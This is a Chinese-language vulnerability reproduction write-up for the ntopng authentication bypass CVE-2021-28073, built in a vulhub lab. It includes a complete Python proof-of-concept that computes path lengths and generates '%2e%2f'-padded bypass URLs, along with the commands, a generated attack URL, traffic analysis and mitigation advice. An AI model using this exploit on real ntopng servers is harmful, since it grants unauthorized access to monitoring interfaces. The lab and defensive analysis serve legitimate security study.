*一、漏洞概述 **
*1.1 漏洞简介*
·漏洞名称:ntopng 权限绕过漏洞
·漏洞编号:CVE-2021-28073
·漏洞类型:权限绕过漏洞
·漏洞威胁等级:高危
·影响范围:4.2及以前的版本
·利用条件:默认配置
*1.2 组件描述*
ntopng是监控服务器网络流量的工具,对外提供Web页面。
*1.3 漏洞描述*
其4.2及以前的版本中存在一处权限绕过漏洞,利用该漏洞可以未授权访问目标任意接口。
*二、漏洞复现*
*2.1 应用协议*
http
*2.2 环境搭建*
1.安装虚拟机应用程序(本次测试使用的是VMware Workstation Pro16.1版本)
2.通过 vulhub 搭建 ntopng 环境
https://github.com/vulhub/vulhub/tree/master/ntopng/CVE-2021-28073
3.启动容器
docker-compose up -d
4.查看容器,启动成功
docker ps
5.访问登录页面,admin/admin
(本地环境)http://192.168.91.128:3000/
*2.3 漏洞复现 **
1.使用poc进行验证,计算出ntopng lua目录的长度
python3 poc.py --url http://192.168.91.182:3000/ baselength
poc.py
import sys
import requests
import argparse
import logging
def is_ntopng() -> bool:
response = session.get(base_url, allow_redirects=False)
return response.status_code == 302 and '/lua/login.lua' in response.headers.get('Location', '')
def get_base_length() -> int:
for i in range(90, 120):
url = base_url + '/lua/' + '%2e%2f' * i + 'as_stats.lua.css'
response = session.get(url, allow_redirects=False)
if response.status_code < 300:
return 255 - 1 - i * 2 - len('as_stats.lua')
for i in range(90, 120):
url = base_url + '/lua/' + '%2e%2f' * i + 'get_macs_data.lua.css'
response = session.get(url, allow_redirects=False)
if response.status_code < 300:
return 255 - 1 - i * 2 - len('get_macs_data.lua')
return -1
def get_padding_length(path: str):
padding_length = 255 - 1 - base_length - len(path)
if padding_length % 2 == 1:
raise RuntimeError(f'path {path} is not support')
return int(padding_length / 2)
logging.basicConfig(stream=sys.stderr, level=logging.WARNING)
session = requests.Session()
session.headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36'
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='CVE-2021-28073 POC for ntopng.')
parser.add_argument('-u', '--url', help='base url for ntopng, eg: http://192.168.1.233:3000', metavar='<URL>', required=True)
parser.add_argument('-v', '--verbose', default=False, action='store_true')
subparsers = parser.add_subparsers(dest='action')
baselength_command = subparsers.add_parser('baselength', help='get base path length of ntopng')
generate_command = subparsers.add_parser('generate', help='generate the authenticate bypass url')
generate_command.add_argument('-l', '--length', type=int, help='base path length of target ntopng', metavar='<LENGTH>', required=True)
generate_command.add_argument('-p', '--path', help='lua pathname', metavar='<PATH>', required=True)
generate_command = subparsers.add_parser('include', help='generate the arbitrary file inclusion url')
generate_command.add_argument('-l', '--length', type=int, help='base path length of target ntopng', metavar='<LENGTH>', required=True)
generate_command.add_argument('-i', '--include', help='path to include', metavar='<PATH>', required=True)
args = parser.parse_args()
if not args.action:
parser.print_help()
sys.exit(1)
if args.verbose:
logging.basicConfig(stream=sys.stderr, level=logging.DEBUG)
base_url = args.url.rstrip('/')
# check target
if not is_ntopng():
raise RuntimeError('No Ntopng detected')
if args.action == 'baselength':
base_length = get_base_length()
sys.stdout.write(f'ntopng install path length: {base_length}\n')
elif args.action == 'generate':
base_length = args.length
path = args.path
sys.stdout.write(base_url + '/lua/' + '%2e%2f' * get_padding_length(path) + path + '.css\n')
2.浏览我们想要未经授权访问的页面或界面,如/lua/find_prefs.lua,会被重定向到登录页面。
python3 poc.py --url http://192.168.91.182:3000/ generate -l 36 -p find_prefs.lua
3.访问重定向url
http://192.168.91.128:3000/lua/%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2ffind_prefs.lua.css
4.虽然显示404,没有该页面,但是左侧的功能点以及可以随机点击,此时越过了权限,任意的访问该网站
*三、漏洞分析*
*3.1 技术背景*
\
*3.2 代码分析*
poc分析:
1.首先定义一个is_ntopng()
函数:
该函数发送一个请求到指定的URL,并检查响应中是否包含’/lua/login.lua’。如果返回状态码为302,且Location头部包含’/lua/login.lua’,则表明该URL是ntopng,返回True;否则返回False
2.定义一个get_base_length()
函数:
该函数尝试计算目标ntopng的基本路径长度。它通过发送一系列特定请求,检查状态码,从而找到一种使得请求成功的URL组合。然后返回base_length
,即ntopng的基本路径长度。
3定义一个get_padding_length(path: str)
函数:
该函数用于计算目标ntopng路径中的填充长度,以便生成身份验证绕过URL。
4.通过计算路径长度,且通过报错来测试填充长度,即可绕过身份认证
*3.3 流量分析 **
请求体部分,为GET请求,/lua/后紧跟的出现大量的”.%2F“,然后跟随要访问的路径lua/xxx/lua.css,参数cookie后的tzoffset字段固定不可更改
响应包部分,一定是302重定向,location为poc给出的重定向地址
*3.4 绕过方式*
poc将填充"/"来绕过
*四、漏洞检测*
*4.1 组件版本自检*
以下版本受该漏洞影响:v4.2 以下
目前最高版本:v5.6
*4.2 研判建议 **
使用请求包的重定向url访问观察是否能无权限进入
*五、防范建议*
*5.1 官方修复建议*
新版本访问重定向url后,任意点击功能模块会跳回用户登录页面
*5.2 临时修复建议*
将.%2F写入过滤规则
六、*参考链接*
源码下载url:https://github.com/ntop/ntopng